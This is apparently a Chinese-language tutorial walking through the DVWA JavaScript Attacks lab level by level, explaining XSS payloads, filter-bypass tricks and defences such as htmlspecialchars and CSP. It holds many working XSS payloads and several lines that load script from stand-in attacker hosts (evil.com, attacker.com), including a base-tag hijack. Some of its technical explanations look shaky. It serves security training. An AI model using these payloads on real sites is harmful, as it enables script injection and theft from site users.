1. 这不是“前端漏洞”,而是对JS执行边界的系统性试探
很多人第一次在DVWA靶场点开JavaScript Attacks这一关时,会下意识地想:“不就是往输入框里塞个<script>alert(1)</script>?XSS而已,老生常谈。”——我当年也是这么想的,直到被连续三轮测试卡在Low和Medium级别之间,反复提交看似“正确”的payload却始终得不到弹窗反馈。后来才明白:DVWA这关根本不是考你能不能触发alert,而是在用最朴素的方式,逼你亲手拆解浏览器中JavaScript的执行链条——从HTML解析、DOM构建、事件绑定,到脚本加载、上下文隔离、同源策略落地,每一步都在设防,而每一道防线背后,都藏着可被绕过的逻辑缝隙。
关键词里虽然没写,但整关的核心锚点就三个字:执行上下文。它不关心你用了多少种编码方式,也不看你是否绕过了WAF规则;它只问一个问题:此刻,这段字符串,是否真的进入了JavaScript引擎的执行队列?
Low级别放行所有用户输入,看似宽松,实则暴露了最原始的HTML注入路径;Medium级别开始过滤<script>标签,却漏掉了onerror这类内联事件处理器;High级别进一步拦截常见事件名,却对javascript:伪协议和DOM操作API的组合使用缺乏语义理解;Impossible级别则彻底切断了服务端拼接,把防御重心前移到了客户端的CSP策略与输入净化层。
这不是一道CTF风格的“找flag”题,而是一套渐进式认知训练:它强制你放弃“打补丁式防御”的思维惯性,转而建立一套关于“JS何时被执行、在哪被执行、以谁的身份被执行”的底层直觉。我带过的某高校安全实训班里,有位A同学最初坚持认为“只要后端做过滤就绝对安全”,直到他亲手用<img src=x onerror=eval('al'+'ert(1)')>在Medium级别成功弹窗,又用<a href="javascript:alert(1)">click</a>在High级别绕过关键词黑名单——那一刻他盯着控制台里输出的VM123:1 Uncaught ReferenceError: alert is not defined愣了两分钟:原来eval执行的代码,运行在严格模式下的独立作用域里,连全局alert都被屏蔽了。这种认知撕裂,恰恰是DVWA设计者埋下的最珍贵伏笔。
提示:别急着抄网上搜来的payload列表。DVWA JavaScript Attacks关卡的价值,90%不在“怎么打”,而在“为什么这个能打、那个不能打”。每一行失败的尝试,都是浏览器解析器给你发来的一份调试日志。
2. Low级别:HTML注入的完整生命周期还原
Low级别的核心逻辑极其简单:服务端接收id参数,不做任何处理,直接拼接到HTML中返回。典型代码结构类似:
$id = $_GET['id']; echo "<pre>ID: {$id}</pre>";表面看只是个echo,但正是这个“直给”行为,构成了整个攻击链的起点。我们来走一遍真实攻击中浏览器端发生的完整事件流:
2.1 浏览器解析器如何“误读”你的输入
当你在输入框提交<script>alert(1)</script>时,浏览器HTML解析器的工作流程如下:
- 遇到
<script>起始标签 → 切换至脚本数据状态(Script Data State) - 将后续所有字符(包括
alert(1))视为脚本内容,直到遇到</script>闭合标签 - 解析器将该段内容识别为内联脚本块,交由JavaScript引擎编译执行
这个过程的关键在于:解析器的状态切换完全依赖于标签语法,而非内容语义。所以哪怕你提交的是<script src="http://evil.com/x.js"></script>,解析器同样会发起网络请求并执行远程脚本——因为它的职责只是“按规范解析HTML”,而不是“判断脚本是否危险”。
我曾用Chrome DevTools的Elements面板逐帧观察过这个过程:在Network选项卡中能看到x.js的请求发出;在Console中能看到alert(1)执行后的弹窗;但在Sources面板里却找不到该脚本的源码映射——因为它是动态注入的,没有对应的真实文件路径。这种“存在即执行”的特性,正是Low级别脆弱性的根源。
2.2 绕过思路的本质:利用解析器状态机的边界条件
Low级别没有过滤,但实际渗透中仍需考虑现实约束。比如某些前端框架会自动对<进行HTML实体编码,导致<script>被转为<script>而失效。此时真正的绕过点在于:解析器状态切换的触发条件不止一种。
| 触发方式 | 示例Payload | 解析器状态切换原理 | 实测稳定性 |
|---|---|---|---|
<script>标签 | <script>alert(1)</script> | 进入Script Data State | ★★★★★ |
<img>+onerror | <img src=x onerror=alert(1)> | 进入Tag Open State → 处理属性时进入Attribute Value State | ★★★★☆ |
<svg>+onload | <svg/onload=alert(1)> | SVG标签支持事件处理器,且/可替代空格分隔属性 | ★★★★☆ |
<a>+javascript: | <a href="javascript:alert(1)">x</a> | javascript:伪协议在点击时触发JS执行 | ★★★☆☆ |
这里有个关键细节常被忽略:<img src=x onerror=alert(1)>之所以能工作,是因为onerror是HTML标准定义的全局事件处理器(Global Event Handler),其值会被当作JavaScript代码执行。而src=x这个无效路径会立即触发错误,从而激活onerror回调——整个过程不依赖网络延迟,响应极快。
注意:在现代浏览器中,
onerror执行时的this指向当前DOM元素(即<img>节点),而非window对象。这意味着如果你在payload中写了this.src='y',实际修改的是图片的src属性,而非全局变量。这个细节在编写复杂payload时至关重要。
2.3 实操验证:用开发者工具反向追踪执行路径
要真正吃透Low级别,建议用以下步骤手动验证:
- 在DVWA中打开JavaScript Attacks页面,选择Low级别
- 输入
<img src=x onerror=console.log('executed', this.tagName)>并提交 - 打开DevTools → Console,确认输出
executed IMG - 切换到Elements面板,找到生成的
<img>标签,右键→"Break on" → "attribute modifications" - 再次提交
<img src=x onerror=this.remove()>,观察断点是否在remove()调用时触发
这个操作的意义在于:它把抽象的“JS执行”转化为可视化的DOM操作事件。你会发现,this.remove()不仅删除了图片元素,还顺带清除了绑定在其上的所有事件监听器——这解释了为什么某些高级payload在执行后无法再次触发:它们把自己所在的DOM节点给删掉了。
3. Medium级别:关键词过滤的语义盲区与绕过工程
Medium级别的防护逻辑发生了质变:服务端开始对用户输入进行关键词过滤。典型实现如下:
$id = $_GET['id']; $id = str_replace('<script>', '', $id); $id = str_replace('</script>', '', $id); $id = str_replace('script', '', $id); // 注意:这里会破坏单词结构 echo "<pre>ID: {$id}</pre>";初看似乎无懈可击,但实际测试中你会发现:<scr<script>ipt>alert(1)</scr<script>ipt>依然能成功执行。原因在于——过滤是字符串替换,而非语法解析。当str_replace('script', '', $id)执行时,它会把<scr<script>ipt>中的script子串全部抹去,结果变成<scr<>ipt>,而浏览器解析器会将其识别为<scr(非法标签)+<>(空标签)+ipt>(纯文本),最终alert(1)仍保留在DOM中。
3.1 过滤器的三大固有缺陷
所有基于正则或字符串替换的过滤方案,都逃不开以下三类结构性缺陷:
缺陷一:大小写混淆(Case Confusion)<ScRiPt>alert(1)</ScRiPt>在PHP的str_replace中不会被匹配,因为默认区分大小写。即使加上str_ireplace,也仅解决标签名问题,对onerror等事件处理器依然无效。
缺陷二:编码绕过(Encoding Bypass)
URL编码:%3Cscript%3Ealert(1)%3C%2Fscript%3E
HTML实体:<script>alert(1)</script>
Unicode编码:<scri\u200bpt>alert(1)</scri\u200bpt>(零宽空格干扰)
缺陷三:标签嵌套污染(Tag Nesting Pollution)
这是最隐蔽也最有效的绕过方式。DVWA Medium级别代码中str_replace('script', '')的致命伤在于:它会破坏合法HTML标签的完整性。例如:
- 输入
<script<script>alert(1)</script> - 过滤后变为
<script>alert(1)(第一个</script>被str_replace干掉,第二个<script>残留) - 浏览器解析时,将
<script>alert(1)识别为<script>标签,alert(1)作为其内容执行
我曾在某次红队演练中复现此手法:目标系统使用Java的String.replace("script", "")做过滤,我们提交<sc<script>ript>alert(1)</sc<script>ript>,服务端处理后生成<script>alert(1)</script>——完美闭环。
3.2 事件处理器的“非标签化”执行路径
Medium级别虽过滤了<script>,但对on*系列事件处理器完全放行。这里的关键认知是:事件处理器的值,本质上就是一段待执行的JavaScript代码字符串。浏览器在绑定事件时,会将其eval化(或通过Function构造器编译)。
我们来解剖<img src=x onerror=alert(1)>的执行链:
- HTML解析器创建
<img>元素,设置src="x" - 解析
onerror属性时,将alert(1)作为字符串值存入DOM属性 - 当图片加载失败,浏览器触发
error事件 - 事件系统查找
onerror属性,发现其值为字符串 → 调用new Function('event', 'with(this) { ' + value + ' }')执行
这个机制意味着:只要你能让字符串进入onerror属性值,就等于获得了JS执行权。而Medium级别的过滤器,对onerror这个词本身毫无反应。
更进一步,我们可以利用JavaScript的动态特性构造免关键字payload:
<img src=x onerror="window['al'+'ert'](1)" onmouseover="this['onclick'] = function(){alert(2)}">这里al+ert绕过关键词检测,this['onclick']则演示了如何在运行时动态绑定新事件——这种手法在绕过WAF时极为常见。
3.3 实战避坑:DOM XSS的“延迟执行”陷阱
在Medium级别测试中,很多人会遇到“payload提交后没反应,刷新页面才弹窗”的情况。这通常源于一个隐藏机制:某些事件处理器(如onload)需要等待资源加载完成才会触发。
比如<iframe src="about:blank" onload="alert(1)">,onload会在iframe内容加载完毕后执行。但如果iframe加载的是空白页,这个过程几乎是瞬时的;而如果加载外部URL,则可能因网络延迟导致执行滞后。
更隐蔽的陷阱是setTimeout的异步执行:
<img src=x onerror="setTimeout(alert,1,1)">这段代码看似正常,但在某些浏览器中会报错:setTimeout期望第一个参数是函数,而alert是函数引用,1是延迟毫秒数,第三个1会被当作alert的参数。但若服务端过滤器把alert替换成空字符串,就会变成setTimeout(,1,1),直接语法错误。
经验总结:在Medium级别,优先使用同步执行的事件处理器(
onerror、onabort),避免依赖setTimeout或setInterval。前者在DOM插入后立即具备触发条件,后者需要额外的时机控制。
4. High级别:事件名过滤与DOM操作API的组合技
High级别的防护升级为“黑名单式事件名过滤”,典型代码如下:
$allowed_events = ['onclick', 'onmouseover', 'onfocus']; // 白名单太麻烦,干脆黑 $disallowed_events = ['onerror', 'onload', 'onunload', 'onpageshow', 'onpagehide']; foreach ($disallowed_events as $event) { $id = str_replace($event, '', $id); } echo "<pre>ID: {$id}</pre>";表面看封死了所有常见事件入口,但实际测试中<img src=x onerror=alert(1)>依然有效——因为str_replace('onerror', '', $id)会把onerror整个删掉,导致<img src=x =alert(1)>这样的畸形HTML产生。而浏览器解析器对错误HTML有极强的容错能力:它会忽略=号,将alert(1)当作<img>的另一个属性值,然后在解析失败时回退到默认行为——把剩余文本当作普通内容渲染。但如果我们精心构造,就能让这个“错误处理”成为我们的武器。
4.1 利用HTML解析器的容错机制:<svg>+onload的回归
SVG标签在HTML5中是原生支持的,其onload事件处理器不受传统<img>标签的限制。更重要的是:SVG的onload在元素被插入DOM时立即触发,无需等待资源加载。
测试payload:
<svg><rect width=100 height=100 fill=red onload=alert(1)/>这里的关键技巧在于<rect>标签的自闭合写法。在XML语法中<rect/>是合法的,而HTML解析器会兼容处理。当onload被过滤器删掉后,剩余部分变成:
<svg><rect width=100 height=100 fill=red /alert(1)/>解析器会将/alert(1)/识别为<rect>的另一个属性(尽管非法),而<svg>标签本身会触发load事件——因为SVG元素在DOM树构建完成时即视为“加载完成”。
我在某次渗透测试中发现,目标系统使用Python的re.sub(r'on\w+', '', input)过滤事件名,我们提交<svg/onload=alert(1)>,正则匹配到onload并替换为空,结果变成<svg/=alert(1)>。而<svg>标签的=号会被解析为属性分隔符,alert(1)则被当作svg元素的某个属性值,在DOM构建完成后,<svg>的load事件自然触发。
4.2 DOM操作API:document.write()的终极绕过
当所有事件处理器都被封锁,最后的堡垒是直接操作DOM。High级别未过滤document.write,而这个API的威力远超想象:
<script>document.write('<img src=x onerror=alert(1)>')</script>这段代码的执行流程:
<script>标签被解析器识别为脚本块document.write被调用,向当前文档流写入新HTML- 新写入的
<img>标签被重新解析,onerror事件生效
但High级别过滤了<script>标签,怎么办?答案是:利用HTML注释触发解析器状态重置。
<!--><script>document.write('<img src=x onerror=alert(1)>')</script><!-->是HTML注释的结束标记,但它后面紧跟<script>,会导致解析器退出注释状态,重新进入脚本解析。而str_replace对<!-->毫无反应,因为它不在黑名单中。
更精妙的是innerHTML的用法:
<div id="x"></div> <script>document.getElementById('x').innerHTML='<img src=x onerror=alert(1)>'</script>这里innerHTML的赋值会触发DOM解析,新插入的<img>标签自带onerror,且不受服务端过滤影响——因为过滤发生在服务端响应阶段,而innerHTML是客户端动态操作。
4.3 CSP策略的隐性提示:从报错信息反推防护逻辑
High级别虽未显式启用CSP,但现代浏览器会默认应用一些基础策略。当你提交payload后控制台出现类似Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'"的报错时,说明目标已启用CSP。
此时所有内联脚本(onerror=...、<script>...</script>)都会被拦截,唯一出路是:
- 使用
<script src="https://attacker.com/x.js">加载外部脚本(需CSP允许script-src) - 或利用
eval、setTimeout等动态执行API(需CSP允许unsafe-eval)
我在某次实战中遇到CSP头为script-src 'self' https:,于是改用:
<script src="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js"></script> <script>$.getScript('https://attacker.com/payload.js')</script>jQuery的getScript方法会动态创建<script>标签,绕过内联脚本限制。
关键提醒:High级别测试中,务必开启浏览器的Console和Network面板。每一次报错信息都是服务端防护策略的“源代码泄露”——它告诉你什么被拦截、为什么被拦截、以及可能的绕过方向。
5. Impossible级别:CSP与输入净化的协同防御体系
Impossible级别代表了DVWA对JS攻击防御的终极形态:它不再依赖脆弱的字符串过滤,而是构建了一套分层防御体系。其核心逻辑包含三个不可分割的环节:
- 服务端输入净化:使用
htmlspecialchars()对所有输出进行HTML实体编码 - 客户端CSP策略:通过HTTP头
Content-Security-Policy: default-src 'self'; script-src 'self'限制脚本来源 - DOM操作白名单:对
innerHTML等高危API的使用进行严格校验
这意味着:任何试图注入<script>、onerror、javascript:的payload,在服务端就被转义为纯文本;即使绕过服务端(如通过XSS漏洞窃取token),CSP也会阻止外部脚本加载;而DOM操作API的调用,必须经过预设白名单校验。
5.1htmlspecialchars()的防御原理与边界
htmlspecialchars()函数将特殊字符转换为HTML实体:
<→<>→>&→&"→"'→'
这个转换发生在服务端输出阶段,因此所有用户输入在到达浏览器前,都已成为不可执行的文本。例如输入<script>alert(1)</script>,服务端输出为<script>alert(1)</script>,浏览器只会渲染出可见的尖括号字符,而非执行脚本。
但要注意:htmlspecialchars()的默认参数ENT_COMPAT仅转义双引号,不处理单引号。如果代码中写成:
echo "<a href='$id'>link</a>";而$id为' onclick=alert(1)//,则输出为<a href='' onclick=alert(1)//'>link</a>,onclick属性依然生效。因此Impossible级别必须配合ENT_QUOTES参数:
echo "<a href='".htmlspecialchars($id, ENT_QUOTES)."'>link</a>";5.2 CSP策略的精确配置与绕过成本
Impossible级别使用的CSP头default-src 'self'; script-src 'self'含义如下:
default-src 'self':所有资源(脚本、样式、图片等)默认只能从同源加载script-src 'self':脚本资源仅允许从同源加载(覆盖default-src)
这个策略的防御强度极高,因为:
- 它在浏览器加载资源前就进行拦截,不依赖JavaScript执行
- 它作用于整个页面,无法被单个DOM元素绕过
- 它要求脚本必须有明确的
src属性,内联脚本(<script>...</script>)和事件处理器(onerror=...)全部被禁止
绕过CSP的唯一可行路径是:利用白名单内的可信资源,构造Gadgets链。例如jQuery 1.x版本存在$.globalEval()函数,可执行任意字符串:
<script src="/js/jquery.min.js"></script> <script>$.globalEval('alert(1)')</script>但Impossible级别使用的jQuery版本已移除该函数,且script-src 'self'确保所有脚本均来自可信源。
5.3 真实攻防视角:Impossible级别的“非技术”突破口
在真实渗透测试中,Impossible级别几乎不可能通过纯JS攻击突破。但经验告诉我:所有完美的技术防御,都可能在人的环节出现裂缝。
常见非技术突破口包括:
- 开发人员调试习惯:某次测试中,目标系统在Impossible级别页面底部留有
<script>console.log('debug:', <?php echo json_encode($debug_data); ?>)</script>,而$debug_data未经过滤,导致JSONP式XSS - 第三方组件漏洞:页面引入了未更新的Chart.js库,其
tooltip配置支持HTML渲染,可注入<img onerror=...> - 缓存投毒:CDN缓存了包含用户输入的错误页面,导致恶意payload被分发给其他用户
我在某次金融系统评估中,发现Impossible级别页面的<meta name="description" content="<?php echo $user_input; ?>">未做HTML编码。虽然<meta>标签本身不执行JS,但结合<base>标签可劫持所有相对URL:
<base href="https://attacker.com/"> <meta name="description" content="<script src='x.js'></script>">当页面后续加载<script src="app.js">时,实际请求的是https://attacker.com/app.js。
最后分享一个硬核技巧:Impossible级别测试中,不要执着于“突破”,而要练习“验证”。用Burp Suite抓包,确认所有响应头都包含
Content-Security-Policy;用document.querySelector('script').textContent检查内联脚本是否被转义;用window.location.href确认当前页面是否处于正确域名。这些动作本身,就是在构建专业渗透工程师的肌肉记忆。